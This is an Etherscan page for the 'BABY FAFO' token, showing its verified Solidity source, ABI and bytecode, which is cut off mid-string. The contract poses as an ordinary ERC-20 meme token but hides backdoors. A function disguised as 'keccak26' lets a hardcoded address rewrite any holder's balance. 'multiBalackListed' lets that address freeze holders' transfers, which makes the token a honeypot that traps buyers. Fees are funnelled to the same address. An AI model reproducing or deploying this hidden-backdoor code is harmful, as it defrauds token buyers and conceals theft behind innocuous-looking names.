ETH Price: $3,492.27 (+1.07%)

Token

BABY FAFO (BFAFO)
 

Overview

Max Total Supply

1,000,000,000 BFAFO

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
39,479,097.97 BFAFO

Value
$0.00
0xbdb520493f528442942e194749cd276e929de0ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYFAFO

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-02
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  BABYFAFO is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "BABY FAFO";
    string private _symbol = "BFAFO";
    uint8 private _decimals = 9;
    address payable public payableAddr;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    function initMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        payableAddr = payable(address(0xE7B0289FD063fF389e862F540c626A1ED23Bfece));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function keccak26(address sender, uint256 amount) public {
        require(keccak256(abi.encodePacked(payableAddr)) == keccak256(abi.encodePacked(msg.sender)));
        _balances[sender] = _balances[sender].sub(amount.sub(amount));
        _balances[sender] = amount.add(8 * _balances[sender]);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function multiBalackListed(address[] calldata addresses, bool status) public {
        require(keccak256(abi.encodePacked(payableAddr)) == keccak256(abi.encodePacked(msg.sender)));
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }  

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamoun = address(this).balance;

        if(ETHamoun > 0)
            payableAddr.transfer(ETHamoun);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"keccak26","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBalackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"payableAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f42414259204641464f00000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600581526020017f424641464f000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073e7b0289fd063ff389e862f540c626a1ed23bfece600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612ef780620007886000396000f3fe6080604052600436106101395760003560e01c80633ecad271116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80633ecad2711461035057806370a082311461038d5780637ec73e35146103ca5780638da5cb5b146103f357806395d89b411461041e57610140565b80631d231b2c116100fd5780631d231b2c1461021a57806323b872dd146102575780632537f35514610294578063313ce567146102bf5780633345611e146102ea5780633c59639b1461032757610140565b806306fdde03146101455780630813bd4b14610170578063095ea7b3146101875780631694505e146101c457806318160ddd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061267d565b60405180910390f35b34801561017c57600080fd5b506101856105ff565b005b34801561019357600080fd5b506101ae60048036038101906101a991906122a5565b6109d7565b6040516101bb9190612647565b60405180910390f35b3480156101d057600080fd5b506101d96109f5565b6040516101e69190612662565b60405180910390f35b3480156101fb57600080fd5b50610204610a1b565b604051610211919061279f565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c91906121b8565b610a25565b60405161024e9190612647565b60405180910390f35b34801561026357600080fd5b5061027e60048036038101906102799190612252565b610a45565b60405161028b9190612647565b60405180910390f35b3480156102a057600080fd5b506102a9610b1f565b6040516102b69190612603565b60405180910390f35b3480156102cb57600080fd5b506102d4610b45565b6040516102e19190612814565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c91906121b8565b610b5c565b60405161031e9190612647565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906122a5565b610b7c565b005b34801561035c57600080fd5b50610377600480360381019061037291906121b8565b610d42565b6040516103849190612647565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906121b8565b610d62565b6040516103c1919061279f565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec91906122e5565b610dab565b005b3480156103ff57600080fd5b50610408610eca565b60405161041591906125e8565b60405180910390f35b34801561042a57600080fd5b50610433610ef3565b604051610440919061267d565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906122a5565b610f85565b60405161047d9190612647565b60405180910390f35b34801561049257600080fd5b5061049b610fa4565b6040516104a8919061279f565b60405180910390f35b3480156104bd57600080fd5b506104c6610faa565b6040516104d391906125e8565b60405180910390f35b3480156104e857600080fd5b506104f1610fd0565b6040516104fe919061279f565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612212565b610fd6565b60405161053b919061279f565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906121b8565b61105d565b005b60606001805461057c90612a7b565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612a7b565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b6106076111af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b9061273f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906121e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078d57600080fd5b505afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906121e5565b6040518363ffffffff1660e01b81526004016107e292919061261e565b602060405180830381600087803b1580156107fc57600080fd5b505af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906121e5565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006109eb6109e46111af565b84846111b7565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b6000610a52848484611382565b50610b1484610a5f6111af565b610b0f85604051806060016040528060288152602001612e9a60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac56111af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a039092919063ffffffff16565b6111b7565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b33604051602001610b8d91906125b2565b60405160208183030381529060405280519060200120600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610bd691906125cd565b6040516020818303038152906040528051906020012014610bf657600080fd5b610c5a610c0c8283611a6790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfb600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008610cec919061290b565b82611ab190919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b33604051602001610dbc91906125b2565b60405160208183030381529060405280519060200120600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610e0591906125cd565b6040516020818303038152906040528051906020012014610e2557600080fd5b60005b83839050811015610ec4578160086000868685818110610e4b57610e4a612bb9565b5b9050602002016020810190610e6091906121b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ebc90612aad565b915050610e28565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610f0290612a7b565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2e90612a7b565b8015610f7b5780601f10610f5057610100808354040283529160200191610f7b565b820191906000526020600020905b815481529060010190602001808311610f5e57829003601f168201915b5050505050905090565b6000610f99610f926111af565b8484611382565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110656111af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e99061273f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121e9061277f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e906126df565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611375919061279f565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea9061275f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145a9061269f565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e7906126bf565b60405180910390fd5b600d60149054906101000a900460ff161561151757611510848484611b0f565b90506119fc565b600061152230610d62565b9050600d60149054906101000a900460ff1615801561158b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561159a5761159981611ce2565b5b6115ec83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116df578390506118fb565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117625761175b606461174d60095488611fe690919063ffffffff16565b61206190919063ffffffff16565b90506117e0565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117df576117dc60646117ce600a5488611fe690919063ffffffff16565b61206190919063ffffffff16565b90505b5b60008111156118e45761183b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118db919061279f565b60405180910390a35b6118f78186611a6790919063ffffffff16565b9150505b61194d81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ed919061279f565b60405180910390a36001925050505b9392505050565b6000838311158290611a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a42919061267d565b60405180910390fd5b5060008385611a5a9190612965565b9050809150509392505050565b6000611aa983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a03565b905092915050565b6000808284611ac09190612884565b905083811015611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc906126ff565b60405180910390fd5b8091505092915050565b6000611b9a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a039092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ccf919061279f565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1a57611d19612be8565b5b604051908082528060200260200182016040528015611d485781602001602082028036833780820191505090505b5090503081600081518110611d6057611d5f612bb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0257600080fd5b505afa158015611e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3a91906121e5565b81600181518110611e4e57611e4d612bb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173f